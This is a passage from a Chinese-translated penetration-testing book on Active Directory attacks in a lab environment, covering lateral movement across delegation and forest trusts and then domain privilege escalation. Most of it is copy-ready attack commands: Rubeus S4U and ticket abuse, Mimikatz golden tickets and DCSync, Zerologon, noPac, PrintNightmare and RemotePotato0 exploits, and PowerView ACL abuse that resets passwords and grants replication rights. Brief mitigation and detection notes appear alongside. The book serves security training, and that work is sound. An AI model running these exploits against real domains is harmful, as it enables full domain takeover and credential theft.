Rubeus.exe s4u /user:test$ /aes256:5D2320ABFAFEA7 A451DC0883CB120047A93E1D38B632D42ACD2997F104D6C30A /impersonateuser:administrator /msdsspn:http/castelblack.north.sevenkingdoms.local /nowrap
最后,我们将使用可转发的 ST 来访问 Winterfell 的文件系统:
Rubeus.exe s4u /user:castelblack$ /rc4:abd0f0459c9d6119d092d1bd87cb958b /msdsspn:http/winterfell.north.sevenkingdoms.local /tgs:"ticket_from_previous_step" /altservice:cifs /ptt
dir \\winterfell.north.sevenkingdoms.local\c$
攻击的结果如以下截图所示:
图 5.40 – 成功滥用无协议转换的受限委托
这些步骤也可以从 Linux 机器上执行,如实验室创建者提供的操作步骤所示[16]。
Bronze Bit 攻击,又名 CVE-2020-17049
对于某些类型的委托滥用,票证需要设置 可转发 标志。未设置该标志的原因可能是伪装的用户是 受保护用户 组的成员,或者配置了 敏感且无法委托 的标志。此外,服务可能被配置为仅支持 Kerberos
的受限委托。在 2020 年,发现了 Bronze Bit 漏洞,攻击者可以编辑票证并设置所需的 可转发 标志。
在实践中,我们可以使用 Imapacket 中 getST
Python 脚本的force-forwardable
标志。
注意
一个很好的实际示例,涵盖了两个最常见的场景,可以在此处找到:www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-attack/
。
唯一的建议是打补丁操作系统。
在域内部横向移动后,攻击者可能会进一步传播到受信任的林。下一节将介绍这种移动的可能限制并介绍可用的安全机制。
滥用信任进行横向移动
在本节中,我们将讨论滥用林信任进行横向移动的各种方法。关于如何从子域迁移到林中的父域,参见第六章**/。
我们将首先介绍必要的理论,然后将其应用于实践。正如微软所述,林是一个安全边界,由一个或多个共享公共架构、配置和全局目录的 AD 域组成。架构定义了林内的对象,全局目录包含林中各个域中每个对象的部分属性集。信任关系有六种类型;我们将重点关注外部和林类型。为了更好地理解安全边界,我们需要讨论安全标识符(SID)、SID 历史属性和SID 过滤。
SID 是分配给域中每个安全主体的唯一标识符。SID 过滤是过滤掉来自其他域的 SID 的机制。
注意
过滤规则可以在此处找到:learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280
。
简单来说,关于横向移动的可能性和 SID 过滤,有两个要点需要记住:
-
如果完全执行 SID 过滤,则所有非受信任域的 SID 将被过滤。然而,企业域控制器 SID、受信任域对象 SID 和 NeverFilter SID 会被排除在域信任 SID 过滤之外[17]。
-
外部信任比林信任更宽松。
接下来的动态部分是SID 历史。SID 历史是用户或组的一个属性,允许在从一个域迁移到另一个域时保留旧的 SID,以便保持必要的访问权限。SID 历史值可以根据 SID 过滤行为进行过滤。林间信任有不同的身份验证级别可用:整个林、整个域和选择性。选择性身份验证是最严格的,因为它要求主体和对象之间有直接匹配。这是理解如何跨林迁移所需的基本理论。
作为第一步,我们将枚举实验室中的森林信任关系。然后,我们将讨论常见的攻击向量及其限制,如密码重用、外部组成员破坏、森林间无约束委派滥用以及将额外的 SID 注入 SID 历史中。
对于信任枚举,我们有许多工具可以使用,如 PowerView、BloodHound 或 Netdom 实用工具。PowerView 中有以下命令可用:
-
Get-DomainTrust
-
Get-ForestTrust
-
Get-DomainTrustMapping
第一个命令执行的结果如以下截图所示:
图 5.41 – 当前用户域的所有信任关系
我们将开始讨论密码重用攻击的攻击选项。在真实环境中,这种攻击通常是成功的。通过从受损的森林中导出用户,查找外部森林中的相同用户账户,然后尝试对其进行密码重用攻击。
接下来,我们可以借助 PowerView 命令(Get-DomainForeignUser
和 Get-DomainForeignGroupMember)或使用 Mayfly 在其演示中提供的 BloodHound 查询来枚举外部组和用户:
MATCH p = (a:Domain)-[:Contains*1..]->(x)-->(w)-->(z)<--(y)<-[:Contains*1..]-(b:Domain) where (x:Container or x:OU) and (y:Container or y:OU) and (a.name <>b.name) and (tolower(w.samaccountname) <> "enterprise admins" and tolower(w.samaccountname) <> "enterprise key admins" and tolower(z.samaccountname) <> "enterprise admins" and tolower(z.samaccountname) <> "enterprise key admins") RETURN p
以下是具有跨域和森林访问权限的用户和组:
图 5.42 – 具有跨域和森林权限的用户和组
在我们破坏了具有 SPYS
组成员身份的用户之后,我们可以在森林之间进行横向移动,并享受我们的新权限。
另一种破坏森林信任的方法是滥用Kerberos 无约束委派(KUD),在启用了 KUD 的本地机器和外部森林中的域控制器之间通过使用 PrinterBug 或 PetitPotam 强制认证。然而,只有在启用了 TGT 委派的情况下才可行,这一设置默认直到 2019 年 3 月才被禁用。在我们的案例中,我们通过 Rubeus 和 PrinterBug 帮助下复制了该攻击以强制认证:
Rubeus.exe monitor /filteruser:MEEREEN$ /interval:1 /nowrap
spool.exe meereen.essos.local kingslanding.sevenkingdoms.local
Rubeus.exe ptt /ticket:"base64_ticket_from_capture"
Mimikatz.exe "lsadump::dcsync /all /csv /domain:essos.local"
结果,我们从 essos
森林中导出了所有哈希值:
图 5.43 – essos 森林中所有域对象的哈希值
SID 筛选可以处于三种状态:禁用、放宽 和 强制。如果 SID 筛选被禁用,攻击者将能够轻松添加 Enterprise Admins
组的 RID,从而访问目标域控制器进行 DCSync
攻击。
当 SID 筛选完全启用时,横向移动的唯一可能性是破坏具有目标森林权限的域用户,或通过利用 CVE-2020-0665 绕过 SID 筛选。
注意
利用步骤在此处有详细描述:www.thehacker.recipes/ad/movement/trusts#cve-2020-0665
。
如果启用了 SID 历史,则表示 SID 过滤放宽了(TREAT_AS_EXTERNAL
标志)。在这种情况下,攻击者可以通过将组的 SID 添加到 SID 历史属性中,伪造自己属于任何 RID > 1000
[19] 的组。在我们的示例中,我们将借助 PowerView 枚举 essos.local
林中的组,寻找 RID > 1000
的有趣组:
Get-DomainGroup -Domain essos.local | select samaccountname, objectsid
结果,我们找到了一些有前途的候选项:
图 5.44 – essos.local 中的域组,RID > 1000
Spys
对 jorah.mormont
用户具有 GenericAll
权限,这意味着我们可以完全控制该用户:
mimikatz.exe "kerberos::golden /user:Administrator /domain:sevenkingdoms.local /sid:S-1-5-21-4243769114-3325725031-2403382846 /sids:S-1-5-21-2801885930-3847104905-347266793-1109 /rc4:f622cc44c550868e310fbf5ded4194f3 /service:krbtgt /target:essos.local /ticket:trust.kirbi"
Rubeus.exe asktgs /ticket:trust.kirbi /service:ldap/meereen.essos.local /dc:meereen.essos.local /ptt
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity jorah.mormont -domain essos.local -AccountPassword $UserPassword -Verbose
密码已成功更改,以下截图显示了这一点:
图 5.45 – 密码更改成功
使用 crackmapexec
验证新密码是否已成功设置:
图 5.46 – 使用新密码成功登录
为防止跨林滥用,确保严格的 SID 过滤已启用,TGT 委派和 SID 历史已禁用,并且 ACL 已正确应用于林中的对象。然而,如果攻击者能够破坏或冒充具有外部组成员资格的用户,只有选择性认证才能限制损害。
总结
本章讨论了横向渗透的主题。我们讨论了如何使用管理协议在环境中进行移动。这是一种有效的方式,可以与正常流量融合并避开监控。哈希转发的概念是一个强有力的武器,尤其是在缺乏加固的环境中。像禁用未使用的协议和服务这样的简单建议,可以显著提高安全性。需要指出的是,在复杂的环境中,即使是简单的变更也可能造成混乱和宕机,因此需要进行彻底的测试。深入探讨 Kerberos 认证、不同类型的委派以及如何滥用它们,帮助我们更详细地理解 Kerberos 协议的复杂性以及每种委派类型的安全影响。我们已经在实践中证明,对于成功的横向渗透,攻击者不一定需要受害者的密码。任何形式的凭证材料,如哈希值、票据或密钥,都可以作为替代。保持隐蔽并模拟真实的身份验证尝试需要对你的技术有深入的理解。在 第八章 中,我们将展示证书也可以用于横向渗透。最后但同样重要的是,跨林横向渗透表明,这不仅仅关乎你的安全性,还涉及到你的受托人是谁。在下一章中,我们将讨论域内特权提升的问题。
参考资料
-
Evil-WinRM:
github.com/Hackplayers/evil-winrm
-
在实验室设置 JEA:
cheats.philkeeble.com/active-directory/ad-privilege-escalation/jea
-
RACE 工具包:
github.com/samratashok/RACE
-
用户权限分配:RDP -
blog.cptjesus.com/posts/userrightsassignment/
-
RestrictedAdmin:
github.com/GhostPack/RestrictedAdmin
-
SharpRDP:
github.com/0xthirteen/SharpRDP
-
SharpRDPThief:
github.com/passthehashbrowns/SharpRDPThief
-
Impacket:
github.com/fortra/impacket
-
CVE-2019-1019 漏洞分析:
securityboulevard.com/2019/06/your-session-key-is-my-session-key-how-to-retrieve-the-session-key-for-any-authentication/
-
Dementor:
github.com/NotMedic/NetNTLMtoSilverTicket/blob/master/dementor.py
-
Drop-the-MIC 扫描器:
github.com/fox-it/cve-2019-1040-scanner
-
检查登录用户的 Kerberos 票证中的用户名:
gist.github.com/JoeDibley/fd93a9c5b3d45dbd8cbfdd003ddc1bd1
-
StandIn:
github.com/FuzzySecurity/StandIn
-
Powermad:
github.com/Kevin-Robertson/Powermad
-
以普通用户身份利用 RBCD:
www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.xhtml
-
从 Linux 滥用受限委托:
mayfly277.github.io/posts/GOADv2-pwning-part10/#without-protocol-transition
-
Windows Server 中跨入站信任的 TGT 委托更新:
support.microsoft.com/en-us/topic/updates-to-tgt-delegation-across-incoming-trusts-in-windows-server-1a6632ac-1599-0a7c-550a-a754796c291e
-
滥用 SID 历史:
dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/
进一步阅读
以下是进一步学习的资料,帮助你深入了解本章中涉及的攻击:
-
SharpRDP 工具创建背后的原始研究:
0xthirteen.com/2020/01/21/revisiting-remote-desktop-lateral-movement/
-
借助 Mimikatz 转储 RDP 凭据:
pentestlab.blog/2021/05/24/dumping-rdp-credentials/
-
关于远程凭据保护的微软文档:
learn.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard
-
0xf0x 关于 Impacket 使用与检测的精彩研究:
neil-fox.github.io/Impacket-usage-&-detection/
-
关于远程命令执行所留下的痕迹的详细发布:
www.synacktiv.com/publications/traces-of-windows-remote-command-execution.xhtml
-
关于 ASR 实现的更多信息:
www.joeyverlinden.com/implementing-and-monitoring-attack-surface-reduction-rules-asr/
-
关于 NTLM 中继攻击和条件的理论背景:
www.thehacker.recipes/ad/movement/ntlm/relay
-
关于 NTLM 协议不同版本差异的详细博客文章:
www.praetorian.com/blog/ntlmv1-vs-ntlmv2/
-
检测 Pass-the-Hash 攻击:
blog.netwrix.com/2021/11/30/how-to-detect-pass-the-hash-attacks/
-
无约束委派:
en.hackndo.com/constrained-unconstrained-delegation/#unconstrained-delegation
-
LDAP 语法过滤器列表:
social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx
-
RBCD 攻击执行示例:
pentestlab.blog/2021/10/18/resource-based-constrained-delegation/
-
关于带有模式和流量捕获的受限委托滥用的详细解释:
www.notsoshant.io/blog/attacking-kerberos-constrained-delegation/
-
Bronze Bit 漏洞及其背后的理论:
www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-theory/
第六章:域权限提升
攻击者在目标域中需要提升权限的概率很高。我们已经讨论过为何不会涉及主机权限提升的主题。然而,大多数概念是通用的。我们会检查是否有任何权限提升漏洞适用于目标环境。如果没有,那么下一步就是识别各种配置错误的 ACL 和 GPO,以及可能在 IT 人员操作或软件安装过程中无意中引入的过度分配组成员权限的用户。我们会在每个新发现的路径中重申这些活动。
本章从经典的点选式攻击示例开始。这再次强调了补丁管理在环境安全性中的关键作用。接下来,我们将讨论 ACL 配置错误和组策略滥用。检测这些提升路径的主要注意事项是,它们可能被隐藏,对于 IT 人员来说并不那么明显。此外,Active Directory 中有一些特定的安全组,其成员身份可能会导致不必要的后果。我们将逐一分析它们。最后但同样重要的是,从子域到父域的权限提升可能性。涉及 Microsoft SQL Server 和 AD CS 的权限提升将在后续章节中详细介绍。
本章将涵盖以下内容:
-
公共 Zero2Hero 漏洞
-
如何查找并利用 ACL 配置错误
-
通过操作 GPO 可以实现什么?
-
内建安全组复审,包括
DNSAdmins
-
从林中的子域提升到父域,并进行特权访问管理(PAM)信任
技术要求
本章中,您需要访问以下内容:
-
至少 16GB 内存、8 个 CPU 核心,并且总空间至少为 55GB(如果要进行快照,需更多空间)的 VMware Workstation 或 Oracle VirtualBox
-
强烈推荐使用基于 Linux 的操作系统
-
安装了用于当前虚拟化平台插件的 Vagrant 和 Ansible
-
GOADv2 和 DetectionLab 项目
Zero2Hero 漏洞
在本节中,我们将讨论能够在几分钟内提供域管理员级别访问权限的现有漏洞。在一个有定期补丁和漏洞管理的成熟环境中,找到这样的漏洞并不常见。然而,仍然有可能发生这种情况,检查一下也无妨。我们将从相对较旧的 Kerberos 中的 GoldenPAC 漏洞开始,讨论 Zerologon 的根本原因并进行利用,接着利用 PrintNightmare 和 noPAC 提升权限。我们还将简要介绍不同类型的“土豆”漏洞,并讨论错误的组成员身份分配如何导致完全的域接管。
MS14-068
MS14-068
是MS11-013
的后继者,意味着这是一个 PAC 验证漏洞。攻击者能够通过添加特权组来修改现有的 TGT,而域控制器错误地验证了票证。这是即时发生的,因此域用户的组成员身份没有改变。我们利用这个漏洞所需的只是一组有效的域用户凭据,具有相应的 SID 和域控制器 FQDN。在漏洞被公布后,bidord发布了利用程序[1]。
注意
这个漏洞并非在实验室中引入的。可以在这里找到一个很好的逐步攻击指南:www.trustedsec.com/blog/ms14-068-full-compromise-step-step/
。
简洁地说,这是您需要针对未打补丁的域控制器运行的命令:
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <password>
因此,我们可以注入一个 TGT 票证并享受我们的新权限。
对 Kerberos 的攻击检测很困难,和往常一样。可以通过检查用户 SID 和帐户名称不匹配的事件 ID 4624 来捕获利用。此外,我们还可以检查以512
、513
、518
、519
或520
结尾的 SID 的域组中的新用户。通常的建议同样适用:修补您的基础设施。在安装 KB 后,我们可以在事件 ID 4769 中检测到失败的利用尝试。
Zerologon(CVE-2020-1472)
这个漏洞真是一场灾难。未经身份验证的攻击者能够通过破坏域控制器获得域管理员权限。漏洞在于颠覆 Netlogon 加密。Netlogon
是用于登录请求验证、注册、认证和域控制器定位的服务。它使用 MS-NRPC 接口作为身份验证机制,而 MS-NRPC 本身使用自定义的不安全加密来连接到域控制器的 Netlogon 安全通道。协议漏洞是在 AES-CFB8 模式中重用静态的、零值的初始化向量(IV)。
注意
Secura的Tom Tervoort的原创研究,详细解释请参阅这里:www.secura.com/uploads/whitepapers/Zerologon.pdf
。
Zerologon 有两种利用场景:中继[2]和更改密码。
要了解密码更改利用场景,这里总结了七个关键概念[3]。
简而言之,利用步骤如下:
-
利用加密漏洞欺骗客户端凭据。
-
忽略签名和封装。
-
伪造调用以绕过身份验证,并进行无限次登录尝试。
-
将帐户的密码更改为空。
-
滥用空密码以获得域管理员权限。
-
恢复计算机的密码,以确保域控制器之间的复制仍在工作。
现在让我们在实验室尝试利用这个漏洞。我们将扫描所有三个域控制器。我们有几个可供选择的漏洞利用,还有 Metasploit 模块(auxiliary/admin/dcerpc/cve_2020_1472_zerologon)。我将使用 Impacket 和VoidSec的漏洞[4]。此外,我建议在利用之前为 DC03 创建一个快照。在生产环境中运行这个漏洞利用可能会造成中断。如果你仍然这样做,请不要忘记恢复密码:
zerologon.py -t 192.168.56.12 -n MEEREEN
secretsdump.py -no-pass -just-dc essos.local/MEEREEN\$@192.168.56.12
利用的结果如下截图:
图 6.1 – 成功的 Zerologon 漏洞利用
为避免这种不愉快的情况,定期安装安全补丁 – 并且关键的,立即安装。
PrintNightmare(CVE-2021-1675 & CVE-2021-34527)
漏洞的名称可能暗示引入它的服务。你猜对了 – 我们的好朋友打印池服务。Spooler 使用了三个 RPC 协议:MS-RPRN
、MS-PAR
和 MS-PAN
。我们对前两个协议感兴趣。总的来说,漏洞存在于允许用户安装远程驱动程序的功能中。我们需要从服务器可访问的 SMB 共享来托管我们的恶意 DLL。客户端创建一个带有攻击者 DLL 路径的对象,并将其传递给另一个对象,然后由RpcAddPrinterDriverEx
加载。此外,我们需要通过在服务器上设置dwFileCopyFlags
中的一些位来绕过SeLoadDriverPrivilege
验证。然后,DLL 将被加载,并且可以在这里找到:C:\Windows\System32\spool\drivers\x64\3) 和这里 (C:\Windows\System32\spool\drivers\x64\3\Old\{id}
。根据协议,StanHacked[5]发现了一些条件。如果目标拒绝远程连接,这个漏洞利用可以用于本地权限提升,但只有在启用点对点打印策略时才能使用。
对于利用,我们可以使用由cube0x0[6]编写的漏洞利用、Mimikatz 中的一个模块,或者 Metasploit 模块。首先,我们需要使用CrackMapExec
检查 Spooler 服务是否正在运行:
crackmapexec smb 192.168.56.10-12 -M spooler
CrackMapExec 执行的输出如下:
图 6.2 – Spooler 服务枚举
然后,我们可以对目标运行 Metasploit 中的一个漏洞利用。这个模块有一个预构建的检查,并且需要标准域用户凭据才能成功利用。它们没有标记为强制选项,但没有它们,漏洞利用会失败,至少对我来说是这样:
图 6.3 – 成功的 PrintNightmare 漏洞利用
微软花了一些时间发布正确的修复。最可靠的缓解措施是在可能的情况下完全禁用 Spooler 服务。
sAMAccountName 伪装和 noPac(CVE-2021-42278/CVE-2021-42287)
此攻击是两个漏洞的组合。第一个漏洞,CVE-2021-42278(名称冒充),是因为没有验证过程确保计算机账户的名称末尾有\(符号。第二个漏洞,CVE-2021-42287(KDC 欺骗),利用了在 S4U2Self 请求票证时,如果域控制器未能找到计算机名称,搜索将会再次进行,并在计算机名称后添加\)符号。为了利用这些漏洞,我们需要未修补的域控制器,一个有效的域用户账户,以及一个大于 0 的机器账户配额。
注意
exploitph 发表了很好的逐步研究:exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.xhtml
。
借助CrackMapExec
模块,我们可以查找域中的机器配额并检查域控制器是否存在noPac
漏洞:
crackmapexec ldap 192.168.56.10 -u 'jaime.lannister' -p 'cersei' -d sevenkingdoms.local -M MAQ
crackmapexec smb 192.168.56.10 -u 'jaime.lannister' -p 'cersei' -d sevenkingdoms.local -M nopac
执行结果如下所示截图:
图 6.4 – 使用 CrackMapExec 进行 MAQ 和漏洞检查
注意
手动利用步骤已在此实验室演练中详细描述:mayfly277.github.io/posts/GOADv2-pwning-part5/#samaccountname-nopac
。
利用这些漏洞有六个步骤:
-
使用
addcomputer.py
或Powermad
创建计算机账户。 -
使用
Powerview
或addspn.py
清除创建或控制的机器账户的 SPN 属性。 -
将创建或控制的机器账户的
sAMAccountName
属性更改为域控制器的名称,但末尾不加$
符号。 -
请求该机器账户的 TGT。
-
将创建或控制的机器账户的
sAMAccountName
属性恢复为原始名称或其他任何值,但不能是域控制器的名称。 -
通过展示获取的 TGT 请求带有
S4U2self
的 TGS,然后使用它访问域控制器。
我们将使用由cube0x0编写的自动化利用工具[7],该工具包含所有这些步骤:
noPac.exe -domain sevenkingdoms.local -user jaime.lannister -pass cersei /dc kingslanding.sevenkingdoms.local /mAccount vinegrep /mPassword vinegrep /service cifs /ptt
结果如下所示截图:
图 6.5 – noPac 成功利用
我们还可以从 Linux 机器利用此漏洞,使用 Python 编写的利用工具[8]:
python3 sam_the_admin.py "essos.local/khal.drogo:horse" -dc-ip 192.168.56.12 -shell
执行结果如下所示截图:
图 6.6 – sam-the-admin noPac 漏洞利用版本工作中
最好的缓解措施是安装更新(KB5008102
,KB5008380
,和KB5008602)。此外,我们可以监控事件 ID 4662,SAM Account Name
,已更改,以检测可能的利用尝试。
RemotePotato0
Potato
在漏洞名称中总是与伪装和本地特权利用(LPE)相关,如Hot
、Lonely
、Rotten
、Juicy
、Rogue
、Sweet
、God
,或者是新发现的本地
potato 风味[9]。
注释
顺便说一下,如果你对不同的 potato 风味感到困惑,可以参考这篇不错的博客文章:jlajara.gitlab.io/Potatoes_Windows_Privesc
。
这里的想法是触发登录的高权限用户的身份验证,并将其中继到域控制器。成功的漏洞利用要求最初访问与高权限用户登录的相同主机。SMB 和 LDAP 签名未启用。
漏洞利用要求如下:
-
攻击者需要在计算机上加入“远程桌面管理”组
-
“域管理员”组的成员必须在该机器上以交互方式登录
在 GOADv2 实验室中,此漏洞不可利用,然而,在 DetectionLab 中它仍然有效。漏洞利用代码可在此处获取[10]。我使用了来自 DetectionLab 的域控制器和交换服务器。在一台 Kali 机器上,我启动了ntlmrelayx
,然后通过 PSRemote 会话在交换服务器上运行了漏洞利用:
sudo impacket-ntlmrelayx -t ldap://192.168.56.102 --no-wcf-server --escalate-user vinegrep
然后,我在交换服务器上运行了漏洞利用:
RemotePotato0.exe -m 0 -r 192.168.56.100 -p 9998 -s 1
漏洞利用的结果见下图:
图 6.7 – RemotePotato0 漏洞利用执行
结果,我们可以看到我们的用户已被添加到企业管理员组:
图 6.8 – RemotePotato0 成功的中继和 shell
微软在 2022 年 10 月的补丁更新中悄悄修复了此漏洞。由于 NTLM 身份验证设置了SIGN
标志,LDAP 中继场景已不再存在。如果我们尝试在 GOADv2 实验室中复制该攻击,可以确认这一点:
图 6.9 – RemotePotato0 利用失败
这也得到了我们ntlmrelayx
输出的确认:
图 6.10 – 中继未能工作,漏洞已修复
在接下来的部分中,我们将讨论 ACL 和 ACE 的概念以及不同的恶意用途方法。
ACL 滥用
访问控制列表(ACL)滥用为攻击者提供了独特且几乎无法被检测到的特权提升、横向移动和无恶意软件持久化的方法。
注释
关于这个主题,一些最著名和全面的研究由SpectreOps提供(specterops.io/wp-content/uploads/sites/3/2022/06/an_ace_up_the_sleeve.pdf
)。我们将在这里和下一章中引用其中的部分研究。
我们将从基本理论作为介绍开始。Active Directory 中的每个对象都有一个安全描述符。每个对象都有相关的访问控制实体(ACEs)列表,这些列表创建了称为自由访问控制列表(DACL)和系统访问控制列表(SACL)的两个列表。ACEs 定义了哪些安全主体对对象具有权限。SACL 具有很强的检测潜力,因为它可以用于审计访问尝试。对象所有者可以修改 DACL。当我们谈论域对象时,我们关注的是用户、组、计算机、域和 GPO 对象。理解的最后一个重要概念是继承。对于所有具有AdminCount=0
的对象,默认启用继承,这意味着如果我们将 ACE 应用于 OU 或容器,它将应用于其中的所有对象。
要在域中查找配置错误的 ACL,我们可以使用各种工具,例如 PowerView 或 BloodHound 中的 ACLScanner。从攻击者的角度来看,这些权限看起来很有前途:GenericAll, WriteDacl**, **GenericWrite (Self + WriteProperty)**,
WriteOwner 和 AllExtendedRights **(****DS-Replication-Get-Changes(All)**, **User-Force-Change-Password)
。
可以在这里找到 ACL 滥用的综合思维导图以及命令示例[11]。我们将逐一讨论它们,以讨论滥用可能性:
图 6.11 – ACL 滥用思维导图
正如我们在思维导图上看到的,最强大的权限是GenericAll
。它为攻击者打开了各种滥用选项。ReadLAPSPassword
属性在第四章中已经讨论过。对于计算机和用户应用的WriteProperty
权限可以导致影子凭据攻击,这将在稍后的第八章中进行讨论,因此在即将到来的部分中没有提到。
一个稍微不寻常的特例与ReadGMSAPassword
ACL 滥用有关。攻击者需要控制列在目标对象的msDS-GroupMSAMembership
ACL 中的对象。简而言之,这是允许查询 gMSA 密码的对象列表。
组
从攻击者的角度来看,如果攻击者控制了组上的以下 ACL 之一(GenericAll**, **GenericWrite**, **Self**, **WriteProperty
或 AllExtendedRights),则可以将对象添加到组中。WriteOwner
权限允许攻击者获得组的所有权。如果还控制了WriteDacl
,则可以结合这两个权限,并将GenericAll
权限授予自身,从而有效地获得对组的完全控制。我们将在sevenkingdoms
域中执行扫描,以检测配置错误,借助PowerView
的帮助:
Invoke-ACLScanner -Domain sevenkingdoms.local
结果如下截图所示:
图 6.12 – tywin.lannister 在小委员会组上拥有 WriteDacl 权限
为了滥用WriteDacl
特权,我们需要为tywin.lannister
添加对该组的完全控制权限,然后将其添加到该组。我们可以通过两条 PowerView 命令来实现:
Add-DomainObjectAcl -TargetIdentity "Small Council" -PrincipalIdentity tywin.lannister -Domain sevenkingdoms.local -Rights All -Verbose
Add-DomainGroupMember -Identity "Small Council" -Members tywin.lannister -Verbose
前述命令的结果如下图所示:
图 6.13 – tywin.lannister 将自己添加到小委员会组
该组的WriteProperty
权限允许攻击者将任何主体添加到该组,但Self
权限仅允许对象本身被添加到该组。
计算机
当计算机对象的特定权限被控制时,最常见的利用场景是 Kerberos基于资源的受限委托(RBCD)。要执行 Kerberos RBCD,攻击者需要控制以下权限之一:GenericAll
、GenericWrite
、Self
或WriteProperty
,这些权限位于ms-AllowedToActOnBehalfOfOtherIdentity
属性上。Service-Principal-Name
属性上的WriteProperty
权限将允许对手执行 SPN 劫持攻击。该场景涉及Kerberos 受限委托(KCD)滥用。简而言之,攻击者通过 KCD 攻陷服务器,并且同时拥有目标服务器上WriteSPN
(WriteProperty on Service-Principal-Name)权限,以及列在受害服务器的受限委托配置中的权限。然后,攻击者会从第二台服务器中移除 SPN 并将其添加到目标服务器上,执行完整的 S4U 攻击。接着,他们会编辑票据的 SPN 并传递。以我们实验室的示例为例,可能出现以下情况:一名攻击者攻陷了配置了 KCD 的Castelblack
服务器,该服务器的受限委托配置为Winterfell
。最终目标是Legit-PC
,攻击者在此拥有WriteSPN
权限。首先,将winterfell
的 SPN 添加到Legit-PC
。然后,针对相同的 SPN 请求票据,并使用 Rubeus 的tgssub
命令编辑票据的 SPN,使其指向 Legit-PC 服务。
注意
原始研究已发布在www.semperis.com/blog/spn-jacking-an-edge-case-in-writespn-abuse/
,执行 SPN 劫持的命令集合可以在此找到:www.thehacker.recipes/ad/movement/kerberos/spn-jacking
。
用户
如前所述,GenericAll
权限将授予对对象的完全控制。这里讨论的所有攻击路径都是由于一组特定的受控权限而可能实现的。GenericWrite
权限允许攻击者通过更改密码而无需知道当前密码来接管用户帐户。WriteDacl
权限允许攻击者授予自己对用户对象的完全控制。GenericWrite
或 WriteProperty
根据属性本身的不同,开启了某些攻击途径。该属性可以是登录脚本属性(scriptPath
或 msTSInitialProgram)、Service-Principal-Name
或 userAccountControl
属性。后两者将允许我们执行 Targeted Kerberoasting
和 Targeted AS-REP Roasting
。我使用 ADSI 编辑器并将 WriteProperty
权限添加到 jaime.lannister
上,通过 lord.varys
用户对象。现在,使用 PowerView 进行枚举并确认:
图 6.14 – jaime.lannister 对 lord.varys 拥有 WriteProperty 权限
我们的第一次攻击将是针对 Kerberoasting。其思路是设置用户的 SPN,获取 Kerberoast 哈希值,并清除 SPN 以掩盖痕迹。可以通过以下 PowerView 命令实现:
Set-DomainObject -Identity 'lord.varys' -Set @{serviceprincipalname='notexist/ROAST'}
Get-DomainUser 'lord.varys' | Get-DomainSPNTicket | fl
Set-DomainObject -Identity 'lord.varys' -Clear ServicePrincipalName
前述命令的结果如下图所示:
图 6.15 – 成功的针对 lord.varys 用户的 Kerberoasting 攻击
针对 AS-REP 烤制攻击基于我们对 userAccountControl
属性的控制,因此我们可以将其更改为 不需要 Kerberos 预认证。我将使用 PowerView 和 Rubeus 演示此过程:
Set-DomainObject -Identity lord.varys -XOR @{useraccountcontrol=4194304} -Verbose
Rubeus.exe asreproast
Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
成功的攻击如下图所示:
图 6.16 – 成功的针对 lord.varys 用户的 AS-REP 烤制攻击
最著名的滥用向量是我们对用户对象拥有 AllExtendedRights
或 User-Force-Change-Password
权限,这意味着我们可以在不知道当前密码的情况下重置用户密码。这个途径在我们的实验室中演示过:
图 6.17 – tywin.lannister 可以重置 jaime.lannister 用户的密码
以下 PowerView 命令将完成此操作:
$username = 'sevenkingdoms\tywin.lannister'
$password= ConvertTo-SecureString 'powerkingftw135' -AsPlainText -Force
$auth = New-Object System.Management.Automation.PSCredential $username, $password
$newpassword = ConvertTo-SecureString 'Qwerty123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'sevenkingdoms\jaime.lannister' -AccountPassword $newpassword -Credential $auth -Verbose
结果如下图所示:
图 6.18 – tywin.lannister 成功重置 jaime.lannister 用户的密码
最后,我们将看看可以用于完全接管整个域的最强 ACL。
DCSync
WriteDacl
权限可以用于授予 DCSync 权限(DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All)。为了模拟攻击,我使用了 ADSI 编辑并添加了 jaime.lannister
的 修改权限 和 写入所有属性 权限。我们可以使用 PowerView 来确认更改已成功:
Find-InterestingDomainAcl | ?{$_.IdentityReferenceName -eq 'jaime.lannister'}
命令的结果如以下截图所示:
图 6.19 – jaime.lannister 用户具有对域对象的 WriteDacl 权限
我们可以授予用户 DCSync 权限,并通过以下命令执行攻击:
Add-DomainObjectAcl -Rights DCSync -TargetIdentity "DC=sevenkingdoms,DC=local" -PrincipalIdentity jaime.lannister -Verbose
mimikatz.exe "lsadump::dcsync /user:krbtgt /csv"
DCSync 攻击的结果如以下截图所示:
图 6.20 – 成功的 DCSync 攻击
在下一节中,我们将讨论滥用 GPO 的方法。这也与错误配置的 ACL 相关,但这次是针对 GPO。攻击者可以利用它进行横向移动、特权提升和在域中的持久性。该攻击的检测方法已经在 第四章 中详细介绍。
组策略滥用
